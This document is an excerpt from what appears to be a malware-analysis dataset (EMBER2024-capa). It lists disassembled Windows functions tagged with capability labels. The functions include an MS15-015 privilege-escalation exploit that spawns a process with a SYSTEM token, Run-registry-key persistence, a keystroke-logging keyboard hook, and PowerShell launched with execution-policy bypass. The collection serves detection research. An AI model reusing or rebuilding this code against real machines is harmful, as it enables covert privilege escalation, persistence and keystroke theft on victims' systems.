joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014a0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xf0
mov ebx, ecx
mov rdi, rdx
lea rcx, str.___ms15_015_compiled_by_zcgonvh_n
call fcn.140001010
cmp ebx, 2
je 0x1400014ee
lea rcx, str.___usage:_ms15_015_command__n
call fcn.140001010
lea rcx, str.___eg:_ms15_015__whoami__all___n
call fcn.140001010
xor eax, eax
mov rbx, qword [rsp + 0x108]
add rsp, 0xf0
pop rdi
ret
call fcn.140001290
mov rbx, rax
test rax, rax
jne 0x14000151a
lea rcx, str._x__can_not_get_SYSTEM_token__n
call fcn.140001010
xor eax, eax
mov rbx, qword [rsp + 0x108]
add rsp, 0xf0
pop rdi
ret
mov rcx, qword [rdi + 8]
xorps xmm0, xmm0
xor eax, eax
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0xe0], rax
xor esi, esi
lea rax, str.WinSta0Default
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x90], rax
xor eax, eax
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x70], rax
movups xmmword [rsp + 0xb0], xmm0
mov dword [rsp + 0x80], 0x68
movups xmmword [rsp + 0xc0], xmm0
mov dword [rsp + 0xbc], 1
movups xmmword [rsp + 0xa0], xmm0
mov word [rsp + 0xc0], si
movups xmmword [rsp + 0xd0], xmm0
movups xmmword [rsp + 0x60], xmm0
call fcn.140008104
mov r8, rax
xor r9d, r9d
lea rax, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x50], rax
mov rcx, rbx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov rsi, qword [rsp + 0x100]
test eax, eax
je 0x140001637
mov edx, dword [rsp + 0x70]
lea rcx, str.____process_with_pid:_d_created._n_n
call fcn.140001010
mov ecx, 1
call fcn.140007c28
mov rcx, rax
call fcn.14000809c
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rbx, qword [rsp + 0x108]
add rsp, 0xf0
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._x__can_not_create_process:_d_n
call fcn.140001010
mov rbx, qword [rsp + 0x108]
xor eax, eax
add rsp, 0xf0
pop rdi
ret

Function at 0x1400023ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002436
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002436
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002436
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002436
cmp dword [rcx + 0x84], 0xe
jbe 0x140002436
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002438
xor al, al
add rsp, 0x28
ret

Function at 0x14000aee8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000acd8
Function at 0x14001060c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140010693
mov rsi, rbx
cmp word [rax], bp
je 0x140010652
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14001063c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140010638
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000db80
mov rdi, rax
test rax, rax
je 0x140010680
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140007490
mov rbp, rdi
xor ecx, ecx
call fcn.14000bd00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140016660
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140016688
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140016688
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x2fc4c4f50
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4c6010
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4c5952
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4ea108]
test eax, eax
je 0x2fc4c59ea
lea rax, [0x2fc4ea0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4ea110]
mov qword [rbp - 8], rax
jmp 0x2fc4c59ce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4c59c2
cmp qword [rbp - 0x10], 0
je 0x2fc4c59c2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4c5988
lea rax, [0x2fc4ea0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4c59eb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4c5af0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4c5b18
mov eax, 0
jmp 0x2fc4c5b66
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4c5b41
mov eax, 0
jmp 0x2fc4c5b66
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4c5b61
mov eax, 0
jmp 0x2fc4c5b66
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4c5b6c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4c5bea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4c5be1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4c5be1
mov rax, qword [rbp - 8]
jmp 0x2fc4c5bff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4c5bb4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14011cab0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14011cac0]
mov dword [rax], 1
mov rax, qword [0x14011cad0]
mov dword [rax], 1
mov rax, qword [0x14011ca60]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14011caa0]
mov dword [0x14014d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14011cb90]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14011cb70]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14011c000]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140002190
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
setne al
test al, al
je 0x1400021dc
mov eax, 0
jmp 0x14000225c
mov rax, qword [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov ecx, eax
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x10]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp - 0x18]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
setne al
test al, al
je 0x140002247
mov eax, 0
jmp 0x14000225c
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 1
add rsp, 0x50
pop rbp
ret
Function at 0x1400034a0
Capabilities:
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp + 0x20], rcx
mov eax, edx
mov byte [rbp + 0x28], al
lea rax, [rbp - 9]
mov qword [rbp - 8], rax
nop
nop
lea rax, [0x1401153f0]
mov rcx, rax
call sym.getenv
mov rdx, rax
lea rcx, [rbp - 9]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 9]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x50]
lea rdx, [rbp - 0x30]
lea r8, [0x1401153f8]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
cmp byte [rbp + 0x28], 0
je 0x140003516
lea rax, [0x140115407]
jmp 0x14000351d
lea rax, [0x140115409]
mov rcx, qword [rbp + 0x20]
lea rdx, [rbp - 0x50]
mov r8, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
nop
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x14000358e
mov rax, qword [rbp + 0x20]
add rsp, 0x78
pop rbx
pop rbp
ret

Function at 0x140003599
Capabilities:
Create directory

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
jne 0x1400035d6
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
jne 0x1400035dd
mov eax, 1
jmp 0x1400035e2
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400035e8
Capabilities:
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
test eax, eax
sete al
test al, al
je 0x140003618
mov eax, 1
jmp 0x14000361d
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140003783
Capabilities:
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp - 4], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 3
jne 0x1400037c3
mov eax, 0
jmp 0x1400037c8
mov eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x140005107
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov edx, 1
lea rax, [0x14014d120]
mov rcx, rax
call method.Timer.Start_bool_
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov r9d, 0
mov r8, rax
lea rax, [method.KeyboardHook.MyKeyboardProc_int__unsigned_long_long__long_long_]
mov rdx, rax
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [0x14014d168], rax
mov rax, qword [0x14014d168]
test rax, rax
setne al
add rsp, 0x20
pop rbp
ret
Function at 0x1400149a6
Capabilities:
Terminate process

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0xa0]
mov qword [rbp + 0x20], rcx
mov rax, qword [rbp + 0x20]
mov rax, qword [rax]
movzx eax, byte [rax]
mov byte [rbp - 1], al
mov rax, qword [rbp + 0x20]
mov rax, qword [rax + 8]
mov rax, qword [rax + 0x68]
mov edx, 0xea60
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp + 0x20]
mov rax, qword [rax + 8]
mov rax, qword [rax + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call rax
mov rax, qword [rbp + 0x20]
mov rax, qword [rax + 0x10]
mov eax, dword [rax]
cmp eax, 0x103
jne 0x140014a33
mov rax, qword [rbp + 0x20]
mov rax, qword [rax + 8]
mov rax, qword [rax + 0x68]
mov edx, 0x64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
cmp byte [rbp - 1], 0
je 0x140014b16
lea rax, [rbp - 0x31]
mov qword [rbp - 0x10], rax
nop
nop
lea rdx, [rbp - 0x31]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.sm.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x30]
mov edx, 1
mov rcx, rax
call method.IO.GetTargetLogsDirPath_abi:cxx11__bool_
lea rax, [rbp - 0x80]
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp - 0x80]
mov rcx, rax
call method.IO.DeleteFileA_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x31]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
jmp 0x140014b16
nop
add rsp, 0xa8
pop rbx
pop rbp
ret
Function at 0x140016123
Capabilities:
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.IO.GetCurDir_abi:cxx11___
lea rax, [rbp - 9]
mov qword [rbp - 8], rax
nop
nop
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov rdx, rax
lea rcx, [rbp - 9]
lea rax, [rbp - 0x50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 9]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x70]
lea rdx, [rbp - 0x50]
lea r8, str.MicrosoftCLR
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp - 0x70]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x1400161ae
mov ebx, 1
jmp 0x1400161b3
mov ebx, 0
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140016213
add rsp, 0x98
pop rbx
pop rbp
ret
Function at 0x140016ab0
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x148
lea rbp, [rsp + 0x80]
call method.ExeMigration.CreateMigrationScript__
xor eax, 1
test al, al
je 0x140016ad9
mov ebx, 0
jmp 0x140016c05
lea rax, [rbp + 0x90]
mov rcx, rax
call method.IO.GetCurDir_abi:cxx11___
lea rax, [rbp + 0x70]
lea rdx, [rbp + 0x90]
mov r8, rdx
lea rdx, str._ExecutionPolicy_Bypass__File__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x70]
lea r8, [0x140116de7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x50]
lea r8, [0x14014d2a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std::allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x60]
lea rdx, [rbp + 0x30]
lea r8, [0x140116eb8]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x40], 0x70
mov dword [rbp - 0x3c], 0x40
mov qword [rbp - 0x38], 0
lea rax, str.open
mov qword [rbp - 0x30], rax
lea rax, str.powershell
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0
mov qword [rbp - 8], 0
mov dword [rbp - 0x10], 0
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 1
mov eax, ebx
jmp 0x140016cab
add rsp, 0x148
pop rbx
pop rsi
pop rdi
pop rbp
ret